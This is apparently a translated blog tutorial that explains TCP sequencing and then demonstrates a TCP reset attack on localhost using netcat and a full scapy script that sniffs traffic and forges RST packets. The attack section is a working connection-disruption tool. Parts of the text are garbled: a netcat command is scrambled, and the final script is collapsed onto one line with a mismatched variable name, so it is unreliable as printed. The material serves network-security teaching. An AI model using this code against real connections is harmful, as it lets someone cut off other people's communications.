This article is participating in the “Network protocol must know must know” essay contest

Summary of TCP

TCP is a transport layer protocol that provides connection-oriented, reliable, ordered, byte stream transport services. Before using TCP, you must establish a TCP connection. TCP implements reliable transmission through verification, sequence number, acknowledgement, resend control, connection management, and window control. It has the following characteristics: Before using TCP, you must establish a TCP connection. After data transfer is complete, the established TCP connection must be released.

Each TCP connection has only two endpoints and is point-to-point.

Data transmitted through TCP connection, no error, no loss, no repetition, and order;

TCP provides full-duplex communication, allowing applications on both sides to send data at any time. Both ends of the TCP connection are configured with send cache and receive cache to temporarily store communication data.

TCP sequence number

Both parties of TCP communication must maintain sequence numbers. The client uses the sequence number of the server to arrange the received data according to the sequence of sending.

When a TCP connection is established, both the client and server send each other a random initial serial number that identifies the first byte of the data stream they send. A TCP packet segment contains the TCP header, which is the metadata attached to the beginning of the packet segment. The sequence number is included in the TCP header. Because the TCP connection is bidirectional, both sides can send data. Therefore, both sides of the TCP connection are both sender and receiver, and each side must allocate and manage its own serial number.

When the receiver receives a TCP packet segment, it sends an ACK reply (marked with the ACK position 1 in the TCP header) to the sender. This ACK number represents the sequence number of the next byte that the receiver expects to receive from the sender. The sender uses this information to infer that the recipient has successfully received all bytes up to the sequence number ACK.

The TCP header format is as follows:

The TCP header of an acknowledgement packet must contain two parts:

ACK flag position 1;

Contains an ACK number;

TCP has six flag bits

If the sender does not receive an ACK within a period of time after sending a packet, the sender considers the packet lost and resends the packet with the same SERIAL number. In this case, if a recipient receives a duplicate packet, the recipient can use the serial number to determine whether the packet has been received. If yes, the recipient discards the packet. Packets on the network do not necessarily arrive in sequence. Generally, packets arrive in two cases:

The sent packet is lost;

The sent packet was received successfully, but the returned ACK was lost;

In both cases, the sender is indistinguishable and must resend the packet.

Select serial number with sliding window

You need to select a serial number when building a forged reset package. A receiver can receive a segment with an out-of-sequence sequence number, but this tolerance is limited. If the sequence number of a segment is far from what it expects, the segment will be discarded. Therefore, a successful TCP reset attack requires the construction of a trusted sequence number, which in turn relates to sliding Windows.

The TCP stack has a buffer where newly arrived data is put to wait for processing. However, the buffer size is limited, and once the buffer is filled, the excess data is discarded without an ACK. So if the receiver’s buffer becomes empty, the sender must resend the data.

The recipient’s sliding window size is the maximum value at which the sender can continue to send data without waiting for a confirmation reply. During the initial handshake of establishing a TCP connection, the two parties notify each other of the size of their Windows, which can be dynamically adjusted later. The TCP sliding window size is a hard limit on the amount of unacknowledged data that can exist on the network. The TCP specification states that the receiver should ignore any data with serial numbers outside the receive window.

For most TCP segments, the sliding window rule tells the sender the range of sequence numbers it can receive. However, for reset packets, the sequence number is more restricted to defend against blind TCP reset attacks.

Blind TCP reset attack

If an attacker can intercept the information being exchanged, the attacker can read the serial number and acknowledgement number on the packet and use this information to obtain the serial number of the disguised TCP reset segment. On the contrary, if the information of both sides of the communication cannot be intercepted, the serial number of the reset message segment cannot be determined, but it is still possible to batch send reset messages with as many different serial numbers as possible in the hope of guessing one serial number correctly. This is known as a blind TCP reset attack.

How reset attacks work

In a TCP reset attack, an attacker interrupts the communication between one or both parties by sending a forged message telling them to disconnect immediately. If the client discovers that the incoming segment is incorrect for the connection, TCP sends a reset segment, which results in the rapid disassembly of the TCP connection.

TCP reset attacks use this mechanism to send forged reset packet segments to the communication party to deceive the communication party into closing the TCP connection in advance. If the forged reset message segment is completely realistic, the receiver assumes it is valid and closes the TCP connection, preventing it from being used to exchange information further. However, it takes a certain amount of time for an attacker to assemble and send forged packets. Therefore, the attack is lethal only for long connections.

Reset attacks

The first step is to forge a TCP reset packet. The preparations are as follows:

Sniffing for messages exchanged between communication parties.

The packet segment with the ACK flag bit 1 is intercepted and its ACK number is read.

Forge a TCP reset packet segment (RST flag position 1) whose sequence number is equal to the ACK number of the captured packet. To increase the success rate, you can continuously send reset packets with different serial numbers.

Sending a forged reset message to one or both communicating parties to disconnect them.

Communicate directly with the local computer through localhost, and then attack yourself with TCP reset.

The steps are as follows:

Establish a TCP connection between the two terminals.

Write an attack program that can sniff data from both sides of communication.

Modify the attack program, forge and send reset packets.

Establishing a TCP Connection

Use Netcat to set up TCP connections. Open the first terminal window and run the following command:

$ nc -nvl 8000
Copy the code

This starts a TCP service listening on port 8000. Then open the second terminal window and run the following command:

$8000 nc 127.0.0.1Copy the code

This is an attempt to establish a connection with the service above.

Sniff traffic

The choice here is to use the Python network library SCAPy to read the data exchanged between the two terminal Windows and print it to the terminal. To call scapy’s sniffing method:

t = sniff(
        iface='localnet',
        lfilter=is_packet_tcp_client_to_server(localhost_ip, localhost_server_port, localhost_ip),
        prn=log_packet,
        count=50)
Copy the code

Iface: SCAPY listens on the LocalNet network interface. Lfilter: filters the packets that do not belong to the specified TCP connection. PRN: SCAPy uses this function to manipulate all packets that comply with the LFilter rule. The count: scapy function returns the number of packets that need to be sniffed before.

A forged reset packet was sent. Procedure

Sends forged TCP reset packets to carry out TCP reset attacks. The PRN function needs to be modified to examine the packet, extract the necessary parameters, and use these parameters to forge a TCP reset packet and send it. The effect is as follows:

Finally, attach the complete code:

from scapy.all import * import ifaddr import threading import random DEFAULT_WINDOW_SIZE = 2052 conf.L3socket = L3RawSocket def log(msg, params={}): formatted_params = " ".join([f"{k}={v}" for k, v in params.items()]) print(f"{msg} {formatted_params}") def is_adapter_localhost(adapter, localhost_ip): return len([ip for ip in adapter.ips if ip.ip == localhost_ip]) > 0 def is_packet_on_tcp_conn(server_ip, server_port, client_ip): def f(p): return ( is_packet_tcp_server_to_client(server_ip, server_port, client_ip)(p) or is_packet_tcp_client_to_server(server_ip, server_port, client_ip)(p) ) return f def is_packet_tcp_server_to_client(server_ip, server_port, client_ip): def f(p): if not p.haslayer(TCP): return False src_ip = p[IP].src src_port = p[TCP].sport dst_ip = p[IP].dst return src_ip == server_ip and src_port == server_port and dst_ip == client_ip return f def is_packet_tcp_client_to_server(server_ip, server_port, client_ip): def f(p): if not p.haslayer(TCP): return False src_ip = p[IP].src dst_ip = p[IP].dst dst_port = p[TCP].dport return src_ip == client_ip and dst_ip == server_ip and dst_port == server_port return f def send_reset(iface, seq_jitter=0, ignore_syn=True): """Set seq_jitter to be non-zero in order to prove to yourself that the sequence number of a RST segment does indeed need to be exactly equal to the last sequence number ACK-ed by the receiver""" def f(p): src_ip = p[IP].src src_port = p[TCP].sport dst_ip = p[IP].dst dst_port = p[TCP].dport seq = p[TCP].seq ack = p[TCP].ack flags = p[TCP].flags log( "Grabbed packet", { "src_ip": src_ip, "dst_ip": dst_ip, "src_port": src_port, "dst_port": dst_port, "seq": seq, "ack": ack, } ) if "S" in flags and ignore_syn: print("Packet has SYN flag, not sending RST") return # Don't allow a -ve seq jitter = random.randint(max(-seq_jitter, -seq), seq_jitter) if jitter == 0: print("jitter == 0, this RST packet should close the connection") rst_seq = ack + jitter p = IP(src=dst_ip, dst=src_ip) / TCP(sport=dst_port, dport=src_port, flags="R", window=DEFAULT_WINDOW_SIZE, seq=rst_seq) log( "Sending RST packet..." , { "orig_ack": ack, "jitter": jitter, "seq": rst_seq, }, ) send(p, verbose=0, iface=iface) return f def log_packet(p): """This prints a big pile of debug information. We could make a prettier log function if we wanted.""" return p.show() if __name__ == "__main__": Localhost_ip = "127.0.0.1" local_ifaces = [adapter.name for adapter in ifaddr.get_adapters() if is_adapter_localhost(adapter, localhost_ip) ] iface = local_ifaces[0] localhost_server_port = 8000 log("Starting sniff..." ) t = sniff( iface=iface, count=50, # prn=send_reset(iface), prn=log_packet, lfilter=is_packet_tcp_client_to_server(localhost_ip, localhost_server_port, localhost_ip)) log("Finished sniffing!" )Copy the code